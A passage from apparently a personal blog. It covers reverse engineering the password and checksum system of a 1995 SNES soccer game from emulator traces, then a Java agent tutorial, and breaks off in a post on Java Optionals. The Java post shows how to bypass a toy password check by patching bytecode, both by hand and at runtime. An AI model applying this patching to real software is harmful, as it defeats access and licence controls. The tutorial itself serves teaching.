83f5fe sep #$20                A:ff44 X:1709 Y:b3de S:0190 D:0000 DB:81 N....I.. V: 60 H: 58 F:17

6 bits 0x44

83f5f5 sta $0c        [00000c] A:0002 X:1709 Y:b3de S:0190 D:0000 DB:81 .....I.. V: 61 H: 51 F:17
83f5fe sep #$20                A:0000 X:1709 Y:b3e1 S:0190 D:0000 DB:81 .....IZ. V: 61 H: 87 F:17

2 bits 0x00

83f5f5 sta $0c        [00000c] A:0002 X:170a Y:b3e1 S:0190 D:0000 DB:81 .....I.. V: 61 H:252 F:17
83f5fe sep #$20                A:0000 X:170a Y:b3e4 S:0190 D:0000 DB:81 .....IZ. V: 61 H:288 F:17

2 bits 0x00

83f5f5 sta $0c        [00000c] A:0002 X:170a Y:b3e4 S:0190 D:0000 DB:81 .....I.. V: 62 H: 92 F:17
83f5fe sep #$20                A:0000 X:170a Y:b3e7 S:0190 D:0000 DB:81 .....IZ. V: 62 H:128 F:17

2 bits 0x00

83f5f5 sta $0c        [00000c] A:0002 X:170a Y:b3e7 S:0190 D:0000 DB:81 .....I.. V: 62 H:284 F:17
83f5fe sep #$20                A:0000 X:170a Y:b3ea S:0190 D:0000 DB:81 .....IZ. V: 62 H:320 F:17

2 bits 0x00

So, we just need to generalize and reuse the logic with:

[
  [8,  0x05],
  [8,  0x00],
  [4,  0x02],
  [7,  0x00],
  [3,  0x02],
  [3,  0x03],
  [6,  0x1e],  // Brazil?
  [6,  0x0e],
  [6,  0x0c],
  [6,  0x1d],
  [6,  0x44],
  [2,  0x00],
  [2,  0x00],
  [2,  0x00],
  [2,  0x00]
]

And start playing with the values... So, can we have an all Brazil preliminaries?

[
  [8,  0x05],
  [8,  0x00],
  [4,  0x02],
  [7,  0x00],
  [3,  0x02],
  [3,  0x03],
  [6,  0x1e], // Brazil?
  [6,  0x1e],
  [6,  0x1e],
  [6,  0x1e],
  [6,  0x1e],
  [2,  0x00],
  [2,  0x00],
  [2,  0x00],
  [2,  0x00]
]

Not this time :(

But the fields with 6 bits do control which teams are on the preliminary (not sure the last one though)!

Well, the next steps are basically playing each game type, dumping the logs and creating the function for each bit size table.

The final picture

So, after all I have the answer to my original question:

Why is this password so big?

Because it contains the game state.

The first byte is XORed on all bytes wih data. It is used to randomize the password, or else all passwords looks similar.

The second byte is a checksum value.

The next bytes are data, they are used on the checksum.

The next two bytes determine the game type. This game type also determines the size of the password.

There are passwords for each type of game.

After that the password is basically a memory dump. Each type of game has a table of memory addresses and how many bits to copy from said address to the this part of the password.

Because the size in bits does not align with the caharacter size, just changing the characters to see what each one does, does not reproduce consistent results.

Also, the game has no checks for those values, so anything that goes here and has the correct checksum and size for game type is accepted.

Many passwords result in black screens or glitchyness.

By loggin the commands that write the values being written on the password I dumped all the size in bits for each value on the password. With this, by trial and error, many of the values significance could be inferred. Most important is that 6 bit values usually refers to a team.

And finally

Here is the link to the generator with parameter fields

When I started this I was expecting either to not be able to reverse engineer it at all or that it would be so easy that I would have it solved in a couple of hours.

If it wasn't for the excellent devinacker/bsnes-plus, for all the community documentation online and also usiing of AI tools, I don't think I would be able to do it. It is nice to know that future me is able to answer questions that past me wouldn't have a chance to.

I know there is still a small community that plays and mods ISSD, so maybe this will be useful to someone?

And lastly, I see this can be worked further to maybe do an arbitrary code execution similar to the famous super mario world hack?

The password basically writes direct to memory, unrestrited.

Maybe next vacations?

Reverse Engineering the International Superstar Soccer Password System Part 1

2025-01-31 00:00:00 +0000

Does looking at this image make you feel frustrated?

This is a screenshot of the game "International SuperStar Soccer Deluxe" for the Super Nintendo.

Released in 1995, it was the successor of the popular "International SuperStar Soccer" for the same console. It was a very popular game at the time, and even today there are still people releasing modded versions of this game.

But, besides the big number of teams to choose and all the game modes, it was also known for its huge password system. The password entry screen allowed to password up to 60 characters, some special characters, numbers but no vowels (I guess they were afraid of accidental bad words).

It was very easy to make a mistake when typing it (very annoying), and especially writing down the wrong password (more than just very annoying).

I, particularly, did not have a snes console but I've seen the password screen in other's people houses and I always wondered what was the logic behind it. I knew somehow the game state was encoded in the password, but I could not never find any information about it.

Recently I saw a meme about the game password system and decided to look into it. I thought obviously someones must have figured it out by now (after so many years).

To my surprise I could not find any information about it except for someone on reddit who started the same quest and disappeared.

I am on vacation and I have some time to spare, so I decided to look into it myself.

Let's start from the beginning. (or TLRD: here is the result so far)

Finding the right tools

I have no prior knowledge about snes rom hacking. What I did know was that you can use the emulator to scan the memory and look for values based on how they changed. My theory was that the password was just the game state with a checksum so just looking at the memory would give me a good idea of how it worked, without having to look much into the actual instructions.

It turns out that there was no way I would figure out how it worked only from looking at the values on the memory.

With the lucky of the very stupid, I wasn't able to find the value on the memory with a popular emulator, which prompted me to find some emulator that could also debug the instructions being executed. One great emulator that does this is bsnes-plus, a fork of bsnes with debbugging tools.

Bsnes plus has no binaries for Linux, but luckly compiling it was a breeze. I did have issues running it, but turns out it did not run out of the box on ubuntu using wayland. Using xcb solved the issue.

    export QT_QPA_PLATFORM=xcb

So, back to understanding the password system.

The way you create cheats in an emulator is by scanning the whole memory and looking for values that increased, decreased or stayed the same.

For example, let's say you have a game where you have some health represented by hearts. You are not sure what value represent this health in memory.

What you can do is scan the whole memory, then get hit and scan again for values that are lesser than the previous one. You can then scan for values that stay the same as the previous one. Lose health and search again, or even better, gain health and scan for values that increased.

This way you can narrow down the memory address that represents the health. You can then you can change this value and see how it affects the game.

This is what the cheat finder looks on bsnes-plus (other emulators have it too):

Looking for the right place in memory

With the same strategy we use too look for cheats, we can look for the place in memory where the password is stored.

What we need to do then is open the password screen, scan the whole memory, then change the first character of the password and scan again for values that changed.

Then we scan again a few times for values that did not change. This will eliminate animations, like the rolling balls character placeholders or the rotating cursor.

We can also changed the first character to something else to look for values that changed.

A few scans later I ended up with this:

This is very promising. Lets look at them.

First, let`s type a sequential password.

This is 7fe18a:

The higlighted part is where the memory changes when we change the password. There are many interesting things here.

Each entry is 16 bits long. All entries are paired with a 0x20 value. There is a strange gap between the entries.

And finally, if we try to find out which character corresponds to each value we end up with these interesting discontinuities.

    B - 71 20
    C - 72 20
    D - 73 20
    ????????? Space for E
    F - 75 20
    G - 76 20
    H - 77 20
    ????????? Space for I
    J - 79 20
    ...

From this, we can conclude those values are probably pointing to a tile sheet with the char table.

Let's look at the next candidate 7ee2d0.

This is what we see:

Perfect. We can assume that if there is any type of calculation going on, it would be easier to use consecutive numbers starting from 0. We can hopefullly assume that this is the right place.

Now that we have the memory address, we can use the bsnes plus debugger to see how this is being used. Bsnes allows us to set a breakpoint on any memory address and choose to stop on read, write or execute (as far as I know, only bsnes-plus have this feature).

We then add this breakpoint and try a new password. Immediately we stop at the breakpoint at 0x86cb3b. Success!

Now, this is only one instruction inside a whole subroutine. We need to look at the whole thing to understand how it works. Here is what we have:

Well, now would be a good time to look at the snes cpu and the 65C816 assembly. This is a very, very shallow look at what we are dealing with here. For our purposes, we only need to know stuff as we go.

The unavoidable concepts here are:

Register A, the accumulator register. Used for any calculation.
X and Y registers, the index register. Used to dynamically point to different memory adresses.
Data Bank: Imagine this as an offset to be appended to a memory address. You can set it inside the DB register.
The flags. Stored in the Processor Status Register (P), each one has one function. We will care only About M, N and C.
Flag M Memory/Accumulator Width Flag - Switches between 8 bit and 16 bit mode.
Flag N Indicates whether the result of the last operation was negative
Flag C Indicates a carry or borrow from the last operation

Bsnes plus also have tracing capabilities, so we can follow the logic while also looking at the register values and flags.

This is a trace:

86cb27 jsr $cb13      [86cb13] A:0000 X:0004 Y:0080 S:0192 D:0000 DB:81 .....IZ. V:246 H:191 F:22

86cb27 is the address of the instruction
jsr is the instruction, in this case jump to subroutine
$cb13 is the address of the subroutine
[86cb13] is the actual address cb13 resolves to.
Then we have the registers and flags.
Register A is the accumulator, X and Y are the index registers, S is the stack pointer, D is the direct page register, DB is the data bank register.
The flags are the processor status flags. If they are on we see the flag character, if they are off we see a dot.
Then we have the V sync and H sync counters and finally the frame counter.

Understanding what is being done with the password

From the code we can observe that:

A subroutine is called at 86cb27 jsr $cb13, let's call it gameFunctionA. jsr is Jump to subroutine and basically means call a function inside the Data Bank.
A subroutine is called at 86cb33 jsl $808b4c, let's call it globalFunctionA. jsl is Long Jump to subroutine. Unlike jsr, it can call subroutines anywhere.
There is a bcc instruction pointing to an address inside this same subroutine. 86cb61 bcc $cb26. This is a loop.

We can go through each instruction and see what is happening.

This is gameFunctionA:

86cb13 phb                     A:0000 X:0004 Y:0080 S:0190 D:0000 DB:81 .....IZ.
PHB - Push Data Bank Register - this is used to save the current data bank register value on the stack.
86cb14 lda #$0000              A:0000 X:0004 Y:0080 S:018f D:0000 DB:81 .....IZ.
LDA - Load Accumulator - this is used to load a value into the accumulator. #$0000 is the immediate value 0.
In other words, this is setting A to 0.
86cb17 sta $1700      [811700] A:0000 X:0004 Y:0080 S:018f D:0000 DB:81 .....IZ.
STA - Store Accumulator - this is used to store the value in the accumulator into a memory address. In this case, it is storing 0 into 811700.
86cb1a lda #$0039              A:0000 X:0004 Y:0080 S:018f D:0000 DB:81 .....IZ.
Puts 39 into A
86cb1d ldx #$1701              A:0039 X:0004 Y:0080 S:018f D:0000 DB:81 .....I..
Puts 1701 into X
86cb20 txy                     A:0039 X:1701 Y:0080 S:018f D:0000 DB:81 .....I..
TXY - Transfer X to Y
86cb21 iny                     A:0039 X:1701 Y:1701 S:018f D:0000 DB:81 .....I..
INY - Increment Y, see on the next trace line it went from 1701 to 1702.
86cb22 mvn $00, $00            A:0039 X:1701 Y:1702 S:018f D:0000 DB:81 .....I..
MVN - Block Move Negative - this is used to copy a block of memory from one location to another.
The source is the source bank byte concatenated with the contents of the X register.
The destination is the destination bank byte concatenated with the contents of the Y register.
The size is the value in the A register. A is 39, so it is copying 39 bytes from 1701 t0 1702.
...
86cb22 mvn $00, $00            A:0001 X:1739 Y:173a S:018f D:0000 DB:00 .....I..
86cb22 mvn $00, $00            A:0000 X:173a Y:173b S:018f D:0000 DB:00 .....I..
86cb25 plb                     A:ffff X:173b Y:173c S:018f D:0000 DB:00 .....I..
PLB - Pull Data Bank Register - this is used to restore the data bank register value from the stack.
86cb26 rts                     A:ffff X:173b Y:173c S:0190 D:0000 DB:81 N....I..
RTS - Return from Subroutine - this is used to return from a subroutine.
So, this is the end of gameFunctionA.
It is copying 0 to a range from 1700 till 1700+39.
It is a clean up function :)
Let's call it clearMemory.
Also, $1700 is obviously important here.

Back to the main loop
86cb2a stz $00        [000000] A:ffff X:173b Y:173c S:0192 D:0000 DB:81 N....I..
86cb2c stz $02        [000002] A:ffff X:173b Y:173c S:0192 D:0000 DB:81 N....I..
STZ - Store Zero - this is used to store the value 0 into a memory address.
Or, in other words, initializing some stack variables with 0.

Here we have a loop starting
86cb2e lda $02        [000002] A:ffff X:173b Y:173c S:0192 D:0000 DB:81 N....I..
Copies the value at the stack $02 into A
86cb30 ldy #$0008              A:0000 X:173b Y:173c S:0192 D:0000 DB:81 .....IZ.
Puts 8 into Y (8 is constant)
86cb33 jsl $808b4c    [808b4c] A:0000 X:173b Y:0008 S:0192 D:0000 DB:81 .....I..

Jumps to the subroutine at 808b4c
The values on the registers A and Y are important to this subroutine (the why is coming)
808b4c sta $4204      [814204] A:0000 X:173b Y:0008 S:018f D:0000 DB:81 .....I..
Copies the value in A into $4204
This one requires a little bit of research.
One special feature exclusive to the 65c816 snes cpu is native division.
The 65C816 processor in the SNES does not have a dedicated division instruction.
Instead, division is performed by a hardware division unit.
- The CPU writes the dividend, a 16-bit value, to memory addresses $4204 (lower byte) and $4205 (higher byte)
- The CPU writes the divisor, an 8-bit value, to memory address $4206. Writing to this address also initiates the division
The quotient, which is the result of the division, is then read from memory addresses $4214 (lower byte) and $4215 (higher byte)
The remainder can be read from memory addresses $4216 (lower byte) and $4217 (higher byte)
So, A:0000 is the dividend.
808b4f sep #$20                A:0000 X:173b Y:0008 S:018f D:0000 DB:81 .....I..
This one will appear a lot. This is setting the bit on the P register corresponding to the M flag.
When the M flag is set, the accumulator and memory operations are 8-bit
808b51 tya                     A:0000 X:173b Y:0008 S:018f D:0000 DB:81 ..M..I..
Copies Y to A
808b52 sta $4206      [814206] A:0008 X:173b Y:0008 S:018f D:0000 DB:81 ..M..I..
Now A is the divisor (with the value that was previously on Y)
808b55 lda #$03                A:0008 X:173b Y:0008 S:018f D:0000 DB:81 ..M..I..
Put 3 on a
808b57 dec                     A:0003 X:173b Y:0008 S:018f D:0000 DB:81 ..M..I..
Decrements A
808b58 bne $8b57      [808b57] A:0002 X:173b Y:0008 S:018f D:0000 DB:81 ..M..I..
Recpeats decrement while A is not zero
808b57 dec                     A:0002 X:173b Y:0008 S:018f D:0000 DB:81 ..M..I..
808b58 bne $8b57      [808b57] A:0001 X:173b Y:0008 S:018f D:0000 DB:81 ..M..I..
808b57 dec                     A:0001 X:173b Y:0008 S:018f D:0000 DB:81 ..M..I..
808b58 bne $8b57      [808b57] A:0000 X:173b Y:0008 S:018f D:0000 DB:81 ..M..IZ.
So a loop that spends three cpu cycles. I think this is due the division taking three cycles.
808b5a rep #$20                A:0000 X:173b Y:0008 S:018f D:0000 DB:81 ..M..IZ.
Unset M flag (16 bit mode)
808b5c lda $4214      [814214] A:0000 X:173b Y:0008 S:018f D:0000 DB:81 .....IZ.
Loads the result of the division into A
808b5f ldy $4216      [814216] A:0000 X:173b Y:0008 S:018f D:0000 DB:81 .....IZ.
Loads the remainder into Y
808b62 rtl                     A:0000 X:173b Y:0000 S:018f D:0000 DB:81 .....IZ.
Return from subroutine, ok, then globalFunctionA is actually just a division.

Back to the main loop
86cb37 sta $04        [000004] A:0000 X:173b Y:0000 S:0192 D:0000 DB:81 .....IZ.
Stores the result of the division into 4 on the stack
86cb39 ldx $00        [000000] A:0000 X:173b Y:0000 S:0192 D:0000 DB:81 .....IZ.
Loads the value at 0 on the stack into X
86cb3b lda $7ee2d0,x  [7ee2d0] A:0000 X:0000 Y:0000 S:0192 D:0000 DB:81 .....IZ.
Loads the value at 7ee2d0+x into A, remember 7ee2d0? It is the memory address we found for the password.
This is basically equivalent to A=password[x]
86cb3f and #$00ff              A:3a0b X:0000 Y:0000 S:0192 D:0000 DB:81 .....I..
We are only interested in the lower byte, so we mask the upper byte
86cb42 cmp #$0040              A:000b X:0000 Y:0000 S:0192 D:0000 DB:81 .....I..
This one seems arbitrary. It is comparing A with 40. But when you look at the password in memory it makes sense.
The password always ends with 0xff, so this is checking if we reached the end of the password.
86cb45 bcs $cb63      [86cb63] A:000b X:0000 Y:0000 S:0192 D:0000 DB:81 N....I..
Branch if carry flag is set set. 
The instruction CMP sets the carry flag is set if the value in the accumulator is greater than or equal to the 
operand and is cleared if the value in the accumulator is less than the operand
86cb47 ror                     A:000b X:0000 Y:0000 S:0192 D:0000 DB:81 N....I..
bitwise rotate right Accumulator register
86cb48 rol                     A:0005 X:0000 Y:0000 S:0192 D:0000 DB:81 .....I.C
bitwise rotate left Accumulator register
86cb49 dey                     A:000b X:0000 Y:0000 S:0192 D:0000 DB:81 .....I..
decrement Y, Y started as the division remainder
86cb4a bpl $cb48      [86cb48] A:000b X:0000 Y:ffff S:0192 D:0000 DB:81 N....I..
Branch if plus. If the negative flag is not set, it branches. This is a small loop here.
86cb4c ldy $04        [000004] A:000b X:0000 Y:ffff S:0192 D:0000 DB:81 N....I..
Load the value at 4 on the stack into Y, this is the result of the division
86cb4e ora $1700,y    [811700] A:000b X:0000 Y:0000 S:0192 D:0000 DB:81 .....IZ.
Bitwise OR memory at 1700+y with accumulator into accumulator. Rememberm 1700 is the memory we cleared at the start.
86cb51 sta $1700,y    [811700] A:000b X:0000 Y:0000 S:0192 D:0000 DB:81 .....I..
Store accumulator into memory at 1700+y
86cb54 inc $00        [000000] A:000b X:0000 Y:0000 S:0192 D:0000 DB:81 .....I..
Increment the value at 0 on the stack, remember this is the password index
86cb56 lda $02        [000002] A:000b X:0000 Y:0000 S:0192 D:0000 DB:81 .....I..
Load the value at 2 on the stack into A, remember this was initialized with 0
86cb58 clc                     A:0000 X:0000 Y:0000 S:0192 D:0000 DB:81 .....IZ.
Clear carry flag
86cb59 adc #$0006              A:0000 X:0000 Y:0000 S:0192 D:0000 DB:81 .....IZ.
Add 6 to A (6 is constant)
86cb5c sta $02        [000002] A:0006 X:0000 Y:0000 S:0192 D:0000 DB:81 .....I..
Store A into 2, this value will increase by 6 on each iteration
86cb5e cmp #$0168              A:0006 X:0000 Y:0000 S:0192 D:0000 DB:81 .....I..
Compare A with 168
86cb61 bcc $cb2e      [86cb2e] A:0006 X:0000 Y:0000 S:0192 D:0000 DB:81 N....I..
Branch if carry flag is clear, meaning A is less than 168, remember $cb2e is the start of the loop

What this is doing is a little bit disapointing. I was expecting the logic to be more straightforward, just the values and a checksum. What we have here is a decoding logic. The values are decoded from the password and stored on $1700.

When we think about it, it makes sense. If not encoded, it would be very easy to identify patterns on the password.

The encode logic here is very interesting. It is based on a counter being incremented by 6 on each iteration and divided by 8. Then, both the result and the remainder are used. The result is the index on the decoded result to be written, and the remainder is used as the bitshift.

There are a few gotchas here. First one is that the bit rotation depends on the carry flag. The value is not shifted, but rotated.

For example, given 10000000 00000000 left shift 2 (rol instruction), the 1 would go to the carrier flag and back, giving 00000000 00000001.

The second gotcha is the M flag. Although the index is increaded by 1 (8 bits), the bit OR operation and the rotation are applied to 16 bits.

This means that even though a character from the password is only 8 bits, it can have a 16 bit value after rotated. It also means the values can overlap when doing the OR operation.

Or the values can be applied twice to the same memory index. It is easier to understand it if we look at the table with the values from the six counter divded by 8:

SixCounter	Math.floor(sixCounter/8)	(sixCounter % 8)
0	0	0
6	0	6
12	1	4
18	2	2
24	3	0
30	3	6
36	4	4
42	5	2
48	6	0
54	6	6
60	7	4
66	8	2

On the first pass, memory position is $1700+0 (0/8 = 0) and the value is shifted 0 times (remainder).

On the second pass, memory position is still $1700+0 (6/8 = 0 ) and the value is shifted 6 times (remainder). So the value is applied with OR to the same memory position. If the shifted value happens to be more than 8 bits, it will overlap with the next value (Little endian).

For example, Let's say you have a password

CDF

or translating to values:

1 2 3

Let's do the decoding:

On pass 1:
- The character value is 1
- The shift will be the remainder from 0/8 which is 0
- The memory position is the quotient from 0/8 which is 0
The value 1 represented in 16 bits little endian 
00000001 00000000 - 0x01 0x00
Shifted left 0 times
00000001 00000000 - 0x01 0x00
An or is done with the value already in address 0:
00000001 00000000 - 0x01 0x00
00000000 00000000 - 0x00 0x00
____________________
00000001 00000000 - 0x01 0x00
Final value written on position 0 and 1: 0x01
Current memory 0x01 
Counter increases by 6: 6

On pass 2:
- The character value is 2
- The shift will be the remainder from 6/8 which is 6
- The memory position is the quotient from 6/8 which is 0
The value 2 represented in 16 bits little endian 
00000010 00000000 - 0x02 0x00
Shifted left 6 times
10000000 00000000 - 0x80 0x00
An or is done with the value already in address 0:
10000000 00000000 - 0x80 0x00
00000001 00000000 - 0x01 0x00
____________________
10000001 00000000 - 0x81 0x00
Final value written on position 0 and 1: 0x81
Current memory 0x81 
Counter increases by 6: 12

On pass 3:
- The character value is 3
- The shift will be the remainder from 12/8 which is 4
- The memory position is the quotient from 12/8 which is 1
The value 3 represented in 16 bits little endian 
00000011 00000000 - 0x03 0x00
Shifted left 4 times
00110000 00000000 - 0x30 0x00
An or is done with the value already in address 1:
00110000 00000000 - 0x30 0x00
00000000 00000000 - 0x00 0x00
____________________
00110000 00000000 - 0x30 0x00
Final value written on position 1 and 2: 0x30
Current memory 0x81 0x30 
Counter increases by 6: 18

On pass 4:
- The character value is 255
Execution breaks from the loop
Current memory 0x81 0x30

Decoding CDF gets us 0x81 0x30

In conclusion for this part of the logic, we have a password as input and the decoded values as an output at $1700.

Moving on we need to figure out what is done with those values at $1700.

Finding out valid passwords

If that is all there is, how come some passwords work and some don't? What we can do to figure this out is to add a read breakpoint at $811700.

Previously for the decoding logic I did the explanation operation by operation because I though that was an interesting and unexpected logic.

There is nothing mindblowing happenning here, so I will just highlight the important bits and omit much of the trial and error and debugging that went on to figure this out.

One thing it is not visible here is that A contains the password lenght at the start of the subroutine. This is an important point later on.

Take a look at these instructions on the subroutine that reads the decoded password:

... while working on 8 bits mode
83f696 lda $1702
83f699 eor $1700
83f69c sta $1648
83f69f lda $1703
83f6a2 eor $1700
83f6a5 sta $1649
... while working on 16 bits mode
83f6aa lda $1648; meaning it loads $1648 $1649 Little endian on A
83f6ad bit #$0020
83f6b0 beq $f6b5; beq is branch if equal, so we jump if bit 5 is not set and skip the next jmp
83f6b2 jmp $f7a6 ; jump here if bit 5 is set

The bit instruction is a bitwise AND operation. It is used to test if one or more bits are set in a value.

So, we have some bit flags on the third and fourth byte positions of the decoded password. They also do an eor on the first position.

This will check for the bit and if it is not there, skip a jump insruction.

#$0020 is bit 5. If we set it on the decoded password, it jumps to $f7a6. There we have some extra checks:

There are more branching depending on flags. Those are the bit instructions for bit #$0080 and bit #$0100.

But, most important there is a comparing with the value at $02 for #$0032. This only happens if bit #$0020 is set and not the other bits #$0080 and #$0100.

The value at $02 is the password length. So, the password length must be 0x32, which is 50 in decimal.

In summary, every bit instruction is checking a flag on the first two byte of the decoded password, and every cmp is checking the char password length.

Following the logic, for all bit flags, in the end we figure out there are some main flags that represents types of passwords. Each flag combination requires a different password length. There are just a 9 flag combination possible, which would be the passwords for different game modes:

#$0020 - Size 50
#$0020 and #$0080 - Size 11
#$0020 and #$0100 - Size 8
#$0004 - Size 15
#$0004 and #$0008 - Size 39
#$0004 and #$0200 - Size 12
#$0002 - Size 20
#$0400 - Size 11
#$1000 - Size 27

And only the first flag is evaluated, so if you have #$0020 and #$0004, it ends up ont the logic for #$0020.

We are now very close to be able to produce valid passwords.

We know there are only 9 types of password with fixed password lenghts. Everything else is invalid.

But even following the flags and size rules, the password is still not valid. Can you guess why?

Finnally, a checksum

Yes! There is a checksum!

Going back to the logic for the #$0020 flag, we have this:

83f7d0 lda #$0025
83f7d3 jsr $f8c7

This is the checksum logic inside $f8c7.

It is a little bit messy. It translates to this pseudocode:

A = 0x25 <- fixed value (37 decimal)

A--
A--
var4 = A // A is 0x23, it is the range of the values to be considered for the checksum
Start 8 bit mode
var2 = 0 // This will be hold the sum of the values
X = 2

do {
    A = decodedPass[X]
    C = 0 //Clear carry flag
    A += var2
    var2 = A
    A = decodedPass[X]
    A = A ^ decodedPass[0] // why is this necessary?
    decodedPass[X] = A 
    X++ // Index goes up
    var4-- // Counter passed as parameter goes down
} while var4 != 0

A = var2 // we get the sum
C = 0 //Clear carry flag
A += decodedPass[0] // why?
if(A !== decodedPass[1]) {
    fail checksum
}

To me it is the purpose of the value at decodedPass[0] ($1700) is not clear yet. It is probably related to how the password is created and maybe a clever hack to easily adjust a password checksum.

But, despite that, what is actually done here is straightforward.

decodedPass[1] ($1701) holds the actual value to be compared with the sum of the values.

The range of bytes used for calculating the check is different for each flag combination. So what is left is to debug the logic for every one of the 9 flag combinations and get the hardcoded ranges.

And with this last piece of the puzzle, we can now finally generate valid passwords for International SuperStar Soccer Deluxe.

You can check the generator working at github pages and inspect the commented source.

Right now al it does is check the size against tyhe flags and calculate the checksum. You can use it to write any valid password, either by chenging the password or the hex values.

You can write cool valid password such as this one:

Working out what the values mean could in theory be done by experimenting new values (if you are not willing to dive into the 65C816 assembly).

This concludes the first part of the password generator. The next step is to figure out what the values in the decoded password actually do. The plan would be to just follow the reads and debug code.

But for that, I will need more vacation time :)

Java Agent from scratch

2024-11-11 00:00:00 +0000

Java agents are regular java code that can be included when running any java application

Java agents are special because they are given access to the Instrumentation API, which allows them to change bytecode.

Why would you want it?

When working inside your codebase, you have total freedom. If you need to extend any logic you have many options, such as composition, inheritance, annotation processing at runtime and many other possible solutions. A solution using a Java agent (or any change at bytecode level) is not what you want in this case.

When you need to extend functionality in a library, things start getting a little harder. Sure, library developers plan how to make them open to extension, but it is a fact of life that it is not possible to foresee every possible requirement.

Still, there are ways to work with it without writing a java agent. You should use the language features as intended. If not possible you can shadow classes to override behaviour. Another possibility is using a custom classloader that changes bytecode at runtime.

Lastly, you may want extend functionality in third party code. There may be many reasons for that, such as meta analysis, security features or anything that needs to be implemented in a totally separate binary.

So, in summary, you want an agent when you want to do runtime analysis of an application or if you need total separation between the regular app and some functionality that changes the bytecode.

Bytecode manipulation?

The JVM is an application that interprets a set of operations and a bunch of metadata encoded in a class.

Usually, these classes are distributed in files with a .class extension. These classes can then distributed inside a zip file, commonly with the .jar extension. Inside this jar, a text file, the Manifest, points to a class file implementing a main function.

You can then just use the java executable to run these JAR files using the -jar argument, such as:"

java -jar myApp.jar

The format of these class files, the bytecode, is described in the java documentation here

Knowing the bytecode format, it becomes possible to modify it. You could open it with a hexeditor, for example, and change the code behaviour.

Let`s try an example. This is a simple java code that checks a key and executes some code if the key is correct.

public class Test {
    public static void main(String[] args) {
        if ("secretpass".equals(args[0])) {
            System.out.println("Access granted");
        } else {
            System.out.println("Access DENIED");
        }
    }
}

Which we can compile and run:

javac Test.java
java -cp . Test "wrong" # outputs Access DENIED
java -cp . Test "secretpass" # outputs Access granted

Fortunately, openjdk ships with a disassembler, javap.

If we use it on Test.class we can see what instructions are being used on it.

    javap -v Test.class 

    ...Some stuff
      public static void main(java.lang.String[]);
        descriptor: ([Ljava/lang/String;)V
        flags: (0x0009) ACC_PUBLIC, ACC_STATIC
        Code:
          stack=3, locals=1, args_size=1
             0: ldc           #7                  // String secretpass
             2: aload_0
             3: iconst_0
             4: aaload
             5: invokevirtual #9                  // Method java/lang/String.equals:(Ljava/lang/Object;)Z
             8: ifeq          22
            11: getstatic     #15                 // Field java/lang/System.out:Ljava/io/PrintStream;
            14: ldc           #21                 // String Access granted
            16: invokevirtual #23                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
            19: goto          30
            22: getstatic     #15                 // Field java/lang/System.out:Ljava/io/PrintStream;
            25: ldc           #29                 // String Access DENIED
            27: invokevirtual #23                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
            30: return
          LineNumberTable:
            line 3: 0
            line 4: 11
            line 6: 22
            line 8: 30
          StackMapTable: number_of_entries = 2
            frame_type = 22 /* same */
            frame_type = 7 /* same */
    }
    SourceFile: "Test.java"

The important instruction here is the ifeq. From the documentation

"An ifeq instruction is type safe iff one can validly pop a type matching int off the incoming operand stack yielding the outgoing type state NextStackFrame, and the operand of the instruction, Target, is a valid branch target assuming an incoming type state of NextStackFrame."

The other important instruction we need is ifne (if not equals).

From here we can see that ifeq opcode is 0x99 and ifne opcode is 0x9a.

Using an hex editor we can then just change ifeq to ifne:

And now if we run Test with the incorrect key after modifying the bytecode, we get:

java -cp . Test "wrong"
Access granted

Changing the bytecode at runtime

And this leads us back to what actually is a java agent. A java agent is a class that implements a premain function.

The premain function gets an argument Instrumetation which allows the agent to get the bytecode as a byte array and change it.

All you need is a jar file with a manifest pointing to the class containing the premain

The agent code that does the same thing we did manually would look like this:

public class Agent {

    public static void premain(
        String agentArgs,
        Instrumentation instrumentation
    ){
        instrumentation.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(
                    ClassLoader loader,
                    String className,
                    Class classBeingRedefined,
                    ProtectionDomain protectionDomain,
                    byte[] classFile
            ) {
                byte[] newBytecode = new byte[classFile.length];
                if (className.contains("Test")) {
                    for (int i = 0; i < classFile.length; i++) {
                        if (i == 0x1f5) {
                            newBytecode[i] = (byte) 0x9A;
                        } else {
                            newBytecode[i] = classFile[i];
                        }
                    }
                    return newBytecode;
                }
                return null;
            }
        });
    }
}

The manifest should look like this:

Manifest-Version: 1.0
Premain-Class: com.github.beothorn.Agent

And to execute it, you just need to pass the javaagent argument

java -javaagent:./agent.jar -cp . Test "wrong"
Access granted

Here you can see an example of an example of an agent that partially disassembles classes

Doing it in real life

This is just an example to give the general idea of what an agent does. In real life it would be a lot of work to interpret and rewrite bytecode like this.

Instead, you can use a library that does the bytecode transformation for you.

You can choose ASM if you want low level bytecode manipulation. If you prefer something that is easier to use and mostly protects you from going into instruction level, a great option is using bytebuddy.

In upcoming blog entries, I will provide examples of how to use Byte Buddy for different tasks.

I will also show how it was used to create Javaflame and maybe if you really need to build your own agent or Javaflame already solver the issue.

Optionals in Java, what is it for?

2024-04-28 00:00:00 +0000

I remember when optional was introduced in Java. The idea that was going around was that it was supposed to fix or alleviate the nullpointer issues. At the time I never had contact with any functional language, so when looking at how Optionals were supposed to work, I wasn't impressed.

// One possible way to create an Optional
String foo = functionThatReturnStringOrNull();
Optional maybeFoo = Optional.ofNullable(foo);

The big issue with null pointers is that you don't expect the value to be null, or else you would check for null right? And optionals were a way to let the caller know null was a valid response (or so I though).

To me, optionals looked like an expensive way to tell the caller that returning null. So my solution from that point on was append OrNull to every method call that could return null, and skip Optionals alltogether.

Of course, later I learned that this is not exactly why optionals are useful.

It is still very common to see the idea that Optionals are only a way to remind the caller that the value may be empty. But the real utility of Optionals is not just checking for empty values, but giving the tools to deal with these situations without filling your code with null checks.

The isPresentGet anti-pattern

Suppose you get an Optional value and you need to unwrap to use it. How do you do it? I think this is the most obvious answer, and the one most will think of:

// Person is a class with a field name, if person exists we get the name or else we return "Unknown"
Optional<Person> person = getPersonById("123");
String name;
if (person.isPresent()) {
    name = person.get().getName();
} else {
    name = "Unknown";
}

This logic is perfectly acceptable, but it has a minor weakness. There is no guarantee, in compile time, that the value person will be checked. In other words, there is no way to ensure get will only be called in case isPresent was called.

It is, obvously, a minor issue, but, if the code is going to be written this way, what is the point of using Optionals? One could call the function getPersonByIdOrNull and be done with it.

Is there a way to ensure that getName will never be called on a null value?

Well, yes there is.

The functional way

The trick is that instead of checking for null yourself, by calling is present, you pass a function to the Optional that will be only executed if there is a value.

You can do it using any of the functions from Optional that receives a function as parameter, although you will usually use map(f).

The check for null still happens, but it is done inside the Optional. This is the actual source for the optional:

